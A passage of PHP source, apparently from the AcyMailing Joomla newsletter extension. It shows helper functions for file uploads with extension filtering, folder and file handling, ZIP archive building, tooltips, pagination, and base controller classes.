	return preg_replace('#('.preg_quote($searchString, '#').')#i', '<span class="searchtext">$1</span>', $secString);
}

function acymailing_perf($name){
	static $previoustime = 0;
	static $previousmemory = 0;
	static $file = '';

	if(empty($file)){
		$file = ACYMAILING_ROOT.'acydebug_'.rand().'.txt';
		$previoustime = microtime(true);
		$previousmemory = memory_get_usage();
		file_put_contents($file, "\r\n\r\n-- new test : ".$name." -- ".date('d M H:i:s')." from ".@$_SERVER['REMOTE_ADDR'], FILE_APPEND);
		return;
	}

	$nowtime = microtime(true);
	$totaltime = $nowtime - $previoustime;
	$previoustime = $nowtime;

	$nowmemory = memory_get_usage();
	$totalmemory = $nowmemory - $previousmemory;
	$previousmemory = $nowmemory;

	file_put_contents($file, "\r\n".$name.' : '.number_format($totaltime, 2).'s - '.$totalmemory.' / '.memory_get_usage(), FILE_APPEND);
}

function acymailing_search($searchString, $object){

	if(empty($object) || is_numeric($object)) return $object;

	if(is_string($object)){
		return preg_replace('#('.str_replace('#', '\#', $searchString).')#i', '<span class="searchtext">$1</span>', $object);
	}

	if(is_array($object)){
		foreach($object as $key => $element){
			$object[$key] = acymailing_search($searchString, $element);
		}
	}elseif(is_object($object)){
		foreach($object as $key => $element){
			$object->$key = acymailing_search($searchString, $element);
		}
	}

	return $object;
}

function acymailing_get($path){
	list($group, $class) = explode('.', $path);
	if($group == 'helper' && $class == 'user') $class = 'acyuser';
	if($group == 'helper' && $class == 'mailer') $class = 'acymailer';

	$className = $class.ucfirst(str_replace('_front', '', $group));
	if($group == 'helper' && strpos($className, 'acy') !== 0) $className = 'acy'.$className;

	if(substr($group, 0, 4) == 'view'){
		$className = $className.ucfirst($class);
		$class .= DS.'view.html';
	}

	if(!class_exists($className)) include(constant(strtoupper('ACYMAILING_'.$group)).$class.'.php');

	if(!class_exists($className)) return null;
	return new $className();
}

function acymailing_getCID($field = ''){
	$oneResult = acymailing_getVar('array', 'cid', array(), '');
	$oneResult = intval(reset($oneResult));
	if(!empty($oneResult) || empty($field)) return $oneResult;

	$oneResult = acymailing_getVar('int', $field, 0, '');
	return intval($oneResult);
}

function acymailing_checkRobots(){
	if(preg_match('#(libwww-perl|python|googlebot)#i', @$_SERVER['HTTP_USER_AGENT'])) die('Not allowed for robots. Please contact us if you are not a robot');
}

function acymailing_removeChzn($eltsToClean){
	if(!ACYMAILING_J30) return;

	$js = ' function removeChosen(){';
	foreach($eltsToClean as $elt){
		$js .= 'jQuery("#'.$elt.' .chzn-container").remove();
					jQuery("#'.$elt.' .chzn-done").removeClass("chzn-done").show();
					';
	}
	$js .= '}
		document.addEventListener("DOMContentLoaded", function(){removeChosen();
			setTimeout(function(){
				removeChosen();
		}, 100);});';
	acymailing_addScript(true, $js);
}

function acymailing_importFile($file, $uploadPath, $onlyPict, $maxwidth = ''){
	acymailing_checkToken();

	$config = acymailing_config();
	$additionalMsg = '';

	if($file["error"] > 0){
		$file["error"] = intval($file["error"]);
		if($file["error"] > 8) $file["error"] = 0;

		$phpFileUploadErrors = array(
			0 => 'Unknown error',
			1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
			2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
			3 => 'The uploaded file was only partially uploaded',
			4 => 'No file was uploaded',
			6 => 'Missing a temporary folder',
			7 => 'Failed to write file to disk',
			8 => 'A PHP extension stopped the file upload'
		);

		acymailing_display("Error Uploading file: ".$phpFileUploadErrors[$file["error"]], 'error');
		return false;
	}

	acymailing_createDir($uploadPath, true);

	if(!is_writable($uploadPath)){
		@chmod($uploadPath, '0755');
		if(!is_writable($uploadPath)){
			acymailing_display(acymailing_translation_sprintf('WRITABLE_FOLDER', $uploadPath), 'error');
			return false;
		}
	}

	if($onlyPict){
		$allowedExtensions = array('png', 'jpeg', 'jpg', 'gif', 'ico', 'bmp');
	}else{
		$allowedExtensions = explode(',', $config->get('allowedfiles'));
	}

	if(!preg_match('#\.('.implode('|', $allowedExtensions).')$#Ui', $file["name"], $extension)){
		$ext = substr($file["name"], strrpos($file["name"], '.') + 1);
		acymailing_display(acymailing_translation_sprintf('ACCEPTED_TYPE', htmlspecialchars($ext, ENT_COMPAT, 'UTF-8'), implode(', ', $allowedExtensions)), 'error');
		return false;
	}

	if(preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)#Ui', $file["name"])){
		acymailing_display('This extension name is blocked by the system regardless your configuration for security reasons', 'error');
		return false;
	}

	$file["name"] = preg_replace('#[^a-z0-9]#i', '_', strtolower(substr($file["name"], 0, strrpos($file["name"], '.')))).'.'.$extension[1];

	if($onlyPict){
		$imageSize = getimagesize($file['tmp_name']);
		if(empty($imageSize)){
			acymailing_display('Invalid image', 'error');
			return false;
		}
	}

	if(file_exists($uploadPath.DS.$file["name"])){
		$i = 1;
		$nameFile = preg_replace("/\\.[^.\\s]{3,4}$/", "", $file["name"]);
		$ext = substr($file["name"], strrpos($file["name"], '.') + 1);
		while(file_exists($uploadPath.DS.$nameFile.'_'.$i.'.'.$ext)){
			$i++;
		}

		$file["name"] = $nameFile.'_'.$i.'.'.$ext;
		$additionalMsg = '<br />'.acymailing_translation_sprintf('FILE_RENAMED', $file["name"]);
		if($onlyPict) $additionalMsg .= '<br /><a style="color: blue; cursor: pointer;" onclick="confirmBox(\'rename\', \''.$file['name'].'\', \''.$nameFile.'.'.$ext.'\')">'.acymailing_translation('ACY_RENAME_OR_REPLACE').'</a>';
	}

	if(!acymailing_uploadFile($file["tmp_name"], rtrim($uploadPath, DS).DS.$file["name"])){
		if(!move_uploaded_file($file["tmp_name"], rtrim($uploadPath, DS).DS.$file["name"])){
			acymailing_display(acymailing_translation_sprintf('FAIL_UPLOAD', '<b><i>'.htmlspecialchars($file["tmp_name"], ENT_COMPAT, 'UTF-8').'</i></b>', '<b><i>'.htmlspecialchars(rtrim($uploadPath, DS).DS.$file["name"], ENT_COMPAT, 'UTF-8').'</i></b>'), 'error');
			return false;
		}
	}

	if(!empty($maxwidth) || ($onlyPict && $imageSize[0] > 1000)){
		$pictureHelper = acymailing_get('helper.acypict');
		if($pictureHelper->available()){
			$pictureHelper->maxHeight = 9999;
			if(empty($maxwidth)){
				$pictureHelper->maxWidth = 700;
				$message = 'IMAGE_RESIZED';
			}else{
				$pictureHelper->maxWidth = $maxwidth;
				$message = 'ACY_IMAGE_RESIZED';
			}
			$pictureHelper->destination = $uploadPath;
			$thumb = $pictureHelper->generateThumbnail(rtrim($uploadPath, DS).DS.$file["name"], $file["name"]);
			$resize = acymailing_moveFile($thumb['file'], $uploadPath.DS.$file["name"]);
			if($thumb) $additionalMsg .= '<br />'.acymailing_translation($message);
		}
	}
	acymailing_display('<strong>'.acymailing_translation('SUCCESS_FILE_UPLOAD').'</strong>'.$additionalMsg, 'success');
	return $file["name"];
}

function acymailing_getFilesFolder($folder = 'upload', $multipleFolders = false){
	$listClass = acymailing_get('class.list');
	if(acymailing_isAdmin()){
		$allLists = $listClass->getLists('listid');
	}else{
		$allLists = $listClass->getFrontendLists('listid');
	}
	$newFolders = array();

	$config = acymailing_config();
	if($folder == 'upload'){
		$uploadFolder = $config->get('uploadfolder', ACYMAILING_MEDIA_FOLDER.'/upload');
	}else{
		$uploadFolder = $config->get('mediafolder', ACYMAILING_MEDIA_FOLDER.'/upload');
	}

	$folders = explode(',', $uploadFolder);

	foreach($folders as $k => $folder){
		$folders[$k] = trim($folder, '/');
		if(strpos($folder, '{userid}') !== false) $folders[$k] = str_replace('{userid}', acymailing_currentUserId(), $folders[$k]);

		if(strpos($folder, '{listalias}') !== false){
			if(empty($allLists)){
				$noList = new stdClass();
				$noList->alias = 'none';
				$allLists = array($noList);
			}

			foreach($allLists as $oneList){
				$newFolders[] = str_replace('{listalias}', strtolower(str_replace(array(' ', '-'), '_', $oneList->alias)), $folders[$k]);
			}

			$folders[$k] = '';
			continue;
		}

		if(strpos($folder, '{groupid}') !== false || strpos($folder, '{groupname}') !== false){
			$groups = acymailing_getGroupsByUser(acymailing_currentUserId(), false);
			acymailing_arrayToInteger($groups);

			if(ACYMAILING_J16){
				$completeGroups = acymailing_loadObjectList('SELECT id, title FROM #__usergroups WHERE id IN ('.implode(',', $groups).')');
			}else{
				$groupObject = new stdClass();
				$groupObject->id = $groups[0];
				$groupObject->title = acymailing_getGroupsByUser();
				$completeGroups = array($groupObject);
			}

			foreach($completeGroups as $group){
				$newFolders[] = str_replace(array('{groupid}', '{groupname}'), array($group->id, strtolower(str_replace(' ', '_', $group->title))), $folders[$k]);
			}

			$folders[$k] = '';
		}
	}

	$folders = array_merge($folders, $newFolders);
	$folders = array_filter($folders);
	sort($folders);
	if($multipleFolders){
		return $folders;
	}else{
		return array_shift($folders);
	}
}

function acymailing_generateArborescence($folders){
	$folderList = array();
	foreach($folders as $folder){
		$folderPath = acymailing_cleanPath(ACYMAILING_ROOT.trim(str_replace('/', DS, trim($folder)), DS));
		if(!file_exists($folderPath)) acymailing_createDir($folderPath);
		$subFolders = acymailing_listFolderTree($folderPath, '', 15);
		$folderList[$folder] = array();
		foreach($subFolders as $oneFolder){
			$subFolder = str_replace(ACYMAILING_ROOT, '', $oneFolder['relname']);
			$subFolder = str_replace(DS, '/', $subFolder);
			$folderList[$folder][$subFolder] = ltrim($subFolder, '/');
		}
		$folderList[$folder] = array_unique($folderList[$folder]);
	}
	return $folderList;
}

function acymailing_arrayToInteger(&$array){
	if(is_array($array)){
		$array = array_map('intval', $array);
	}else{
		$array = array();
	}
}

function acymailing_arrayToString($array, $inner_glue = '=', $outer_glue = ' ', $keepOuterKey = false){
	$output = array();

	foreach($array as $key => $item){
		if(is_array($item)){
			if($keepOuterKey) $output[] = $key;

			$output[] = acymailing_arrayToString($item, $inner_glue, $outer_glue, $keepOuterKey);
		}else{
			$output[] = $key.$inner_glue.'"'.$item.'"';
		}
	}

	return implode($outer_glue, $output);
}

function acymailing_makeSafeFile($file){
	$file = rtrim($file, '.');
	$regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#');
	return trim(preg_replace($regex, '', $file));
}

function acymailing_sortablelist($table, $ordering){
	acymailing_addScript(false, ACYMAILING_JS.'sortable.js?v='.@filemtime(ACYMAILING_MEDIA.'js'.DS.'sortable.js'));

	$js = "
		document.addEventListener(\"DOMContentLoaded\", function(event) {
			Sortable.create(document.getElementById('acymailing_sortable_listing'), {
				handle: '.acyicon-draghandle',
				animation: 150,
				dataIdAttr: 'acyorderid',
				ghostClass: 'acysortable-ghost',
				store: {
					set: function (sortable) {
						var cid = sortable.toArray();
						var order = [".$ordering."];
						
						var xhr = new XMLHttpRequest();
						xhr.open('GET', '".acymailing_prepareAjaxURL($table)."&task=saveorder&'+cid.join('&')+'&'+order.join('&')+'&".acymailing_getFormToken()."');
						xhr.send();
					}
				}
			});
		});";

	acymailing_addScript(true, $js);
}

function acymailing_tooltip($desc, $title = '', $image = 'tooltip.png', $name = '', $href = '', $alt = ''){
	static $loaded = false;

	if(!$loaded) {
		acymailing_addScript(false, ACYMAILING_JS.'acymailing.js?v='.filemtime(ACYMAILING_MEDIA.'js'.DS.'acymailing.js'));
		acymailing_addStyle(false, ACYMAILING_CSS.'acytooltip.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'acytooltip.css'));
		$loaded = true;
	}

	$content = $desc;
	if(!empty($title)) $content = '<span style="font-weight: bold;">'.$title.'</span><br/>'.$content;
	if(empty($name)) $name = '<img alt="" src="'.ACYMAILING_IMAGES.$image.'"/>';
	if(!empty($href)) $name = '<a href="'.$href.'" alt="'.htmlspecialchars($alt, ENT_QUOTES, 'UTF-8').'"">'.$name.'</a>';

	return '<span class="acymailingtooltip"><span class="acymailingtooltiptext">'.$content.'</span>'.$name.'</span>';
}

function acymailing_deleteFolder($path){
	$path = acymailing_cleanPath($path);
	if(!is_dir($path)){
		acymailing_enqueueMessage($path.' is not a folder', 'error');
		return false;
	}
	$files = acymailing_getFiles($path);
	if(!empty($files)){
		foreach($files as $oneFile){
			if(!acymailing_deleteFile($path.DS.$oneFile)) return false;
		}
	}

	$folders = acymailing_getFolders($path);
	if(!empty($folders)){
		foreach($folders as $oneFolder){
			if(!acymailing_deleteFolder($path.DS.$oneFolder)) return false;
		}
	}

	if (@rmdir($path)){
		$ret = true;
	}else{
		acymailing_enqueueMessage('Could not delete folder '.$path, 'error');
		$ret = false;
	}

	return $ret;
}

function acymailing_createFolder($path = '', $mode = 0755){
	$path = acymailing_cleanPath($path);
	if(file_exists($path)) return true;

	$origmask = @umask(0);
	$ret = @mkdir($path, $mode, true);
	@umask($origmask);

	return $ret;
}

function acymailing_getFolders($path, $filter = '.', $recurse = false, $full = false, $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'), $excludefilter = array('^\..*')){
	$path = acymailing_cleanPath($path);

	if (!is_dir($path)){
		acymailing_enqueueMessage($path.' is not a folder', 'error');
		return false;
	}

	if (count($excludefilter)){
		$excludefilter_string = '/(' . implode('|', $excludefilter) . ')/';
	}else{
		$excludefilter_string = '';
	}

	$arr = acymailing_getItems($path, $filter, $recurse, $full, $exclude, $excludefilter_string, false);
	asort($arr);

	return array_values($arr);
}

function acymailing_getFiles($path, $filter = '.', $recurse = false, $full = false, $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'), $excludefilter = array('^\..*', '.*~'), $naturalSort = false){
	$path = acymailing_cleanPath($path);

	if (!is_dir($path)){
		acymailing_enqueueMessage($path.' is not a folder', 'error');
		return false;
	}

	if (count($excludefilter)){
		$excludefilter_string = '/(' . implode('|', $excludefilter) . ')/';
	}else{
		$excludefilter_string = '';
	}

	$arr = acymailing_getItems($path, $filter, $recurse, $full, $exclude, $excludefilter_string, true);

	if ($naturalSort){
		natsort($arr);
	}else{
		asort($arr);
	}

	return array_values($arr);
}

function acymailing_getItems($path, $filter, $recurse, $full, $exclude, $excludefilter_string, $findfiles){
	$arr = array();

	if(!($handle = @opendir($path))) return $arr;

	while(($file = readdir($handle)) !== false){
		if($file == '.' || $file == '..' || in_array($file, $exclude) || (!empty($excludefilter_string) && preg_match($excludefilter_string, $file))) continue;
		$fullpath = $path . '/' . $file;

		$isDir = is_dir($fullpath);

		if(($isDir xor $findfiles) && preg_match("/$filter/", $file)){
			if($full){
				$arr[] = $fullpath;
			}else{
				$arr[] = $file;
			}
		}

		if($isDir && $recurse){
			if(is_int($recurse)){
				$arr = array_merge($arr, acymailing_getItems($fullpath, $filter, $recurse - 1, $full, $exclude, $excludefilter_string, $findfiles));
			}else{
				$arr = array_merge($arr, acymailing_getItems($fullpath, $filter, $recurse, $full, $exclude, $excludefilter_string, $findfiles));
			}
		}
	}

	closedir($handle);

	return $arr;
}

function acymailing_copyFolder($src, $dest, $path = '', $force = false, $use_streams = false){

	if($path){
		$src  = acymailing_cleanPath($path . '/' . $src);
		$dest = acymailing_cleanPath($path . '/' . $dest);
	}

	$src = rtrim($src, DIRECTORY_SEPARATOR);
	$dest = rtrim($dest, DIRECTORY_SEPARATOR);

	if (!file_exists($src)){
		acymailing_enqueueMessage('Folder '.$src.' does not exist', 'error');
		return false;
	}

	if(file_exists($dest) && !$force){
		acymailing_enqueueMessage('Folder '.$dest.' already exists', 'error');
		return true;
	}

	if (!acymailing_createFolder($dest)){
		acymailing_enqueueMessage('Cannot create destination folder', 'error');
		return false;
	}

	if (!($dh = @opendir($src))){
		acymailing_enqueueMessage('Cannot open source folder', 'error');
		return false;
	}

	while(($file = readdir($dh)) !== false){
		$sfid = $src . '/' . $file;
		$dfid = $dest . '/' . $file;

		switch (filetype($sfid)){
			case 'dir':
				if ($file != '.' && $file != '..'){
					$ret = acymailing_copyFolder($sfid, $dfid, null, $force, $use_streams);

					if ($ret !== true)
					{
						return $ret;
					}
				}
				break;

			case 'file':
				if (!@copy($sfid, $dfid)){
					acymailing_enqueueMessage('Copy file '.$sfid.' failed, check permissions', 'error');
					return false;
				}
				break;
		}
	}

	return true;
}

function acymailing_moveFolder($src, $dest, $path = '', $use_streams = false){
	if($path){
		$src = acymailing_cleanPath($path . '/' . $src);
		$dest = acymailing_cleanPath($path . '/' . $dest);
	}

	if (!file_exists($src)){
		acymailing_enqueueMessage('Folder '.$src.' does not exist', 'error');
		return false;
	}

	if (!@rename($src, $dest)){
		acymailing_enqueueMessage('Could not move folder '.$src.' to '.$dest.', check permissions', 'error');
		return false;
	}

	return true;
}

function acymailing_listFolderTree($path, $filter, $maxLevel = 3, $level = 0, $parent = 0){
	$dirs = array();

	if($level == 0) $GLOBALS['acymailing_folder_tree_index'] = 0;

	if ($level < $maxLevel){
		$folders = acymailing_getFolders($path, $filter);

		foreach ($folders as $name){
			$id = ++$GLOBALS['acymailing_folder_tree_index'];
			$fullName = acymailing_cleanPath($path . '/' . $name);
			$dirs[] = array(
				'id' => $id,
				'parent' => $parent,
				'name' => $name,
				'fullname' => $fullName,
				'relname' => str_replace(ACYMAILING_ROOT, '', $fullName),
			);
			$dirs2 = acymailing_listFolderTree($fullName, $filter, $maxLevel, $level + 1, $id);
			$dirs = array_merge($dirs, $dirs2);
		}
	}

	return $dirs;
}

function acymailing_deleteFile($file){
	$file = acymailing_cleanPath($file);
	if(!is_file($file)){
		acymailing_enqueueMessage($file.' is not a file', 'error');
		return false;
	}

	@chmod($file, 0777);

	if (!@unlink($file)){
		$filename = basename($file);
		acymailing_enqueueMessage('Failed to delete '.$filename, 'error');
		return false;
	}

	return true;
}

function acymailing_writeFile($file, $buffer, $use_streams = false){
	if (!file_exists(dirname($file)) && acymailing_createFolder(dirname($file)) == false) return false;

	$file = acymailing_cleanPath($file);
	$ret = is_int(file_put_contents($file, $buffer));

	return $ret;
}

function acymailing_moveFile($src, $dest, $path = '', $use_streams = false){
	if ($path){
		$src = acymailing_cleanPath($path . '/' . $src);
		$dest = acymailing_cleanPath($path . '/' . $dest);
	}

	if (!is_readable($src)){
		acymailing_enqueueMessage('Could not find source file, check permissions: '.$src, 'error');
		return false;
	}

	if (!@rename($src, $dest)){
		acymailing_enqueueMessage('Could not move the file', 'error');
		return false;
	}

	return true;
}

function acymailing_uploadFile($src, $dest){
	$dest = acymailing_cleanPath($dest);

	$baseDir = dirname($dest);
	if(!file_exists($baseDir)) acymailing_createFolder($baseDir);

	if(is_writeable($baseDir) && move_uploaded_file($src, $dest)){
		if (@chmod($dest, octdec('0644'))){
			return true;
		}else{
			acymailing_enqueueMessage('The file has been rejected for safety reason', 'error');
		}
	}else{
		acymailing_enqueueMessage('Couldn\'t upload file, check permissions for the folder '.$baseDir, 'error');
	}

	return false;
}

function acymailing_copyFile($src, $dest, $path = null, $use_streams = false){
	if ($path){
		$src = acymailing_cleanPath($path . '/' . $src);
		$dest = acymailing_cleanPath($path . '/' . $dest);
	}

	if (!is_readable($src)){
		acymailing_enqueueMessage('Could not find source file, check permissions: '.$src, 'error');
		return false;
	}

	if (!@copy($src, $dest)){
		acymailing_enqueueMessage('Could not copy the file '.$src.' to '.$dest, 'error');
		return false;
	}

	return true;
}

function acymailing_fileGetExt($file){
	$dot = strrpos($file, '.');
	if($dot === false) return '';

	return substr($file, $dot + 1);
}

function acymailing_cleanPath($path, $ds = DIRECTORY_SEPARATOR){
	$path = trim($path);

	if(empty($path)){
		$path = ACYMAILING_ROOT;
	}elseif (($ds == '\\') && substr($path, 0, 2) == '\\\\'){
		$path = "\\" . preg_replace('#[/\\\\]+#', $ds, $path);
	}else{
		$path = preg_replace('#[/\\\\]+#', $ds, $path);
	}

	return $path;
}

function acymailing_popup($url, $text, $class = '', $width = 800, $height = 500, $id = '', $params = ''){
	static $loaded = false;

	if(!$loaded) {
		acymailing_addScript(false, ACYMAILING_JS . 'acymailing.js?v=' . filemtime(ACYMAILING_MEDIA . 'js' . DS . 'acymailing.js'));
		acymailing_addStyle(false, ACYMAILING_CSS . 'acypopup.css?v=' . filemtime(ACYMAILING_MEDIA . 'css' . DS . 'acypopup.css'));
		acymailing_addStyle(false, ACYMAILING_CSS.'acyicon.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'acyicon.css'));
		$loaded = true;
	}

	if(!empty($id)) $id = ' id="'.$id.'" ';
	$url .= '&'.acymailing_noTemplate();
	return '<a onclick="acymailing.openpopup(\''.$url.'\','.$width.','.$height.'); return false;" class="acymailingpopup '.$class.'" '.$id.$params.'>'.$text.'</a>';
}

function acymailing_createArchive($name, $files){
	$contents = array();
	$ctrldir = array();

	$timearray = getdate();
	$dostime = (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
	$dtime = dechex($dostime);
	$hexdtime = chr(hexdec($dtime[6] . $dtime[7])) . chr(hexdec($dtime[4] . $dtime[5])) . chr(hexdec($dtime[2] . $dtime[3])) . chr(hexdec($dtime[0] . $dtime[1]));

	foreach ($files as $file){
		$data = $file['data'];
		$filename = str_replace('\\', '/', $file['name']);

		$fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$c_len = strlen($zdata);

		$fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len).pack('v', strlen($filename)).pack('v', 0).$filename.$zdata;

		$old_offset = strlen(implode('', $contents));
		$contents[] = $fr;

		$cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00".$hexdtime;
		$cdrec .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len).pack('v', strlen($filename)).pack('v', 0).pack('v', 0).pack('v', 0).pack('v', 0).pack('V', 32).pack('V', $old_offset).$filename;

		$ctrldir[] = $cdrec;
	}

	$data = implode('', $contents);
	$dir = implode('', $ctrldir);
	$buffer = $data . $dir . "\x50\x4b\x05\x06\x00\x00\x00\x00" . pack('v', count($ctrldir)) . pack('v', count($ctrldir)) . pack('V', strlen($dir)) . pack('V', strlen($data)) . "\x00\x00";

	return acymailing_writeFile($name.'.zip', $buffer);
}

function acymailing_currentURL(){
	$url = isset($_SERVER['HTTPS']) ? 'https' : 'http';
	$url .= '://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
	return $url;
}

function acymailing_accessList(){
	$listid = acymailing_getVar('int', 'listid');
	if(empty($listid)) return false;

	$listClass = acymailing_get('class.list');
	$myList = $listClass->get($listid);
	if(empty($myList->listid)) die('Invalid List');

	$currentUserid = acymailing_currentUserId();
	if(!empty($currentUserid) && $currentUserid == (int)$myList->userid) return true;
	if(empty($currentUserid) || $myList->access_manage == 'none') return false;
	if($myList->access_manage != 'all' && !acymailing_isAllowed($myList->access_manage)) return false;
	
	return true;
}

function acymailing_gridSort($title, $order, $direction = 'asc', $selected = '', $task = null, $new_direction = 'asc', $tip = ''){
	$direction = strtolower($direction);
	if ($order != $selected){
		$direction = $new_direction;
	}else{
		$direction = $direction == 'desc' ? 'asc' : 'desc';
	}

	$icon = array('acyicon-up', 'acyicon-down');
	$index = (int) ($direction == 'desc');

	$result = '<a href="#" onclick="acymailing.tableOrdering(\''.$order.'\', \''.$direction.'\', \''.$task.'\');return false;">';
	$result .= acymailing_tooltip(acymailing_translation('ACY_ORDER_COLUMN'), '', '', acymailing_translation($title));
	if ($order == $selected) $result .= '<span class="' . $icon[$index] . '"></span>';
	$result .= '</a>';

	return $result;
}

function acymailing_session(){
	$sessionID = session_id();
	if(empty($sessionID)) @session_start();
}

class acymailingController extends acymailingBridgeController{

	var $pkey = '';
	var $table = '';
	var $groupMap = '';
	var $groupVal = '';
	var $aclCat = '';

	function __construct($config = array()){
		parent::__construct($config);

		$this->registerDefaultTask('listing');
	}

	function getModel($name = '', $prefix = '', $config = array()){
		return false;
	}

	function listing(){
		if(!empty($this->aclCat) && !$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_setVar('layout', 'listing');
		return parent::display();
	}

	function isAllowed($cat, $action){
		if(acymailing_level(3)){
			$config = acymailing_config();
			if(!acymailing_isAllowed($config->get('acl_'.$cat.'_'.$action, 'all'))){
				acymailing_display(acymailing_translation('ACY_NOTALLOWED'), 'error');
				return false;
			}
		}
		return true;
	}

	function edit(){
		if(!empty($this->aclCat) && !$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_setVar('layout', 'form');
		return parent::display();
	}


	function add(){
		if(!empty($this->aclCat) && !$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_setVar('cid', array());
		acymailing_setVar('layout', 'form');
		return parent::display();
	}

	function apply(){
		$this->store();
		return $this->edit();
	}

	function save(){
		$this->store();
		return $this->listing();
	}

	function save2new(){
		$this->store();
		acymailing_setVar('cid', array());
		acymailing_setVar('layout', 'form');
		acymailing_setVar($this->pkey, '');
		return parent::display();
	}

	function saveorder(){
		if(!empty($this->aclCat) && !$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		$orderClass = acymailing_get('helper.order');
		$orderClass->pkey = $this->pkey;
		$orderClass->table = $this->table;
		$orderClass->groupMap = $this->groupMap;
		$orderClass->groupVal = $this->groupVal;
		$orderClass->save();

		return $this->listing();
	}
}


class acymailingClass{

	var $tables = array();

	var $pkey = '';

	var $namekey = '';

	var $errors = array();

	function __construct($config = array()){
		global $acymailingCmsUserVars;
		$this->cmsUserVars = $acymailingCmsUserVars;
	}

	function save($element){
		$pkey = $this->pkey;
		if(empty($element->$pkey)){
			$status = acymailing_insertObject(acymailing_table(end($this->tables)), $element);
		}else{
			if(count((array)$element) > 1){
				$status = acymailing_updateObject(acymailing_table(end($this->tables)), $element, $pkey);
			}else{
				$status = true;
			}
		}
		if(!$status){
			$this->errors[] = substr(strip_tags(acymailing_getDBError()), 0, 200).'...';
		}

		if($status) return empty($element->$pkey) ? $status : $element->$pkey;
		return false;
	}

	function delete($elements){
		if(!is_array($elements)){
			$elements = array($elements);
		}

		if(empty($elements)) return 0;

		$column = is_numeric(reset($elements)) ? $this->pkey : $this->namekey;

		foreach($elements as $key => $val){
			$elements[$key] = acymailing_escapeDB($val);
		}

		if(empty($column) || empty($this->pkey) || empty($this->tables) || empty($elements)) return false;

		$whereIn = ' WHERE '.acymailing_secureField($column).' IN ('.implode(',', $elements).')';
		$result = true;

		acymailing_importPlugin('acymailing');

		$affected = 0;
		foreach($this->tables as $oneTable){
			acymailing_trigger('onAcyBefore'.ucfirst($oneTable).'Delete', array(&$elements));
			$query = 'DELETE FROM '.acymailing_table($oneTable).$whereIn;
			$affected = acymailing_query($query);
			$result = $affected !== false && $result;
		}


		if(!$result) return false;

		return $affected;
	}
}

acymailing_loadLanguage();

$config = acymailing_config();
if(!$config->get('ssl_links', 0)){
	define('ACYMAILING_LIVE', rtrim(str_replace('https:', 'http:', acymailing_rootURI()), '/').'/');
}else{
	define('ACYMAILING_LIVE', rtrim(str_replace('http:', 'https:', acymailing_rootURI()), '/').'/');
}

class acyEmoji
{
	public static function Encode($text){
		return self::convertEmoji($text, "ENCODE");
	}

	public static function Decode($text){
		return self::convertEmoji($text, "DECODE");
	}
	private static function convertEmoji($text,$op) {
		if(empty($text) || !file_exists(ACYMAILING_ROOT.'plugins'.DS.'acymailing'.DS.'emojis')) return $text;
		if($op=="ENCODE"){
			return preg_replace_callback('/([0-9|#][\x{20E3}])|[\x{00ae}|\x{00a9}|\x{203C}|\x{2047}|\x{2048}|\x{2049}|\x{3030}|\x{303D}|\x{2139}|\x{2122}|\x{3297}|\x{3299}][\x{FE00}-\x{FEFF}]?|[\x{2190}-\x{21FF}][\x{FE00}-\x{FEFF}]?|[\x{2300}-\x{23FF}][\x{FE00}-\x{FEFF}]?|[\x{2460}-\x{24FF}][\x{FE00}-\x{FEFF}]?|[\x{25A0}-\x{25FF}][\x{FE00}-\x{FEFF}]?|[\x{2600}-\x{27BF}][\x{FE00}-\x{FEFF}]?|[\x{2600}-\x{27BF}][\x{1F000}-\x{1FEFF}]?|[\x{2900}-\x{297F}][\x{FE00}-\x{FEFF}]?|[\x{2B00}-\x{2BF0}][\x{FE00}-\x{FEFF}]?|[\x{1F000}-\x{1F9FF}][\x{FE00}-\x{FEFF}]?|[\x{1F000}-\x{1F9FF}][\x{1F000}-\x{1FEFF}]?/u',array('self',"encodeEmoji"),$text);
		}else{
			return preg_replace_callback('/(\\\u[0-9a-f]{4})+/i', array('self', "decodeEmoji"), $text);
		}
	}

	private static function encodeEmoji($match){
		return str_replace(array('[', ']', '"'), '', json_encode($match));
	}

	private static function decodeEmoji($text){
		if(!$text) return '';
		$text = $text[0];
		$decode = json_decode($text, true);
		if($decode) return $decode;
		$text = '["'.$text.'"]';
		$decode = json_decode($text);
		if(count($decode) == 1){
			return $decode[0];
		}
		return $text;
	}
}

class acyPagination {
	var $total;
	var $start;
	var $value;

	public function __construct($total, $start, $value) {
		$this->total = $total;
		$this->start = $start;
		$this->value = $value;
	}

	function getListFooter(){
		$pagination = '<input type="hidden" name="limitstart" value="'.$this->start.'">';
		$nbPages = ceil($this->total / $this->value);
		if($nbPages < 2) return $pagination;

		$pagination .= '<ul class="acypagination">';
		$onclick = $this->start > 0 ? '" onclick="document.adminForm.limitstart.value=0; acymailing.submitform();"' : ' acypaginactive"';
		$pagination .= '<li><span class="acyicon-first'.$onclick.'></span></li>';
		$onclick = $this->start-$this->value >= 0 ? '" onclick="document.adminForm.limitstart.value='.($this->start-$this->value).'; acymailing.submitform();"' : ' acypaginactive"';
		$pagination .= '<li><span class="acyicon-backward'.$onclick.'></span></li>';

		acymailing_addScript(true, 'document.addEventListener("DOMContentLoaded", function(){
			document.getElementById("acypagination").addEventListener("keyup", function(e){
				var code = e.which;
				if(code == 13 || code == 188 || code == 186){
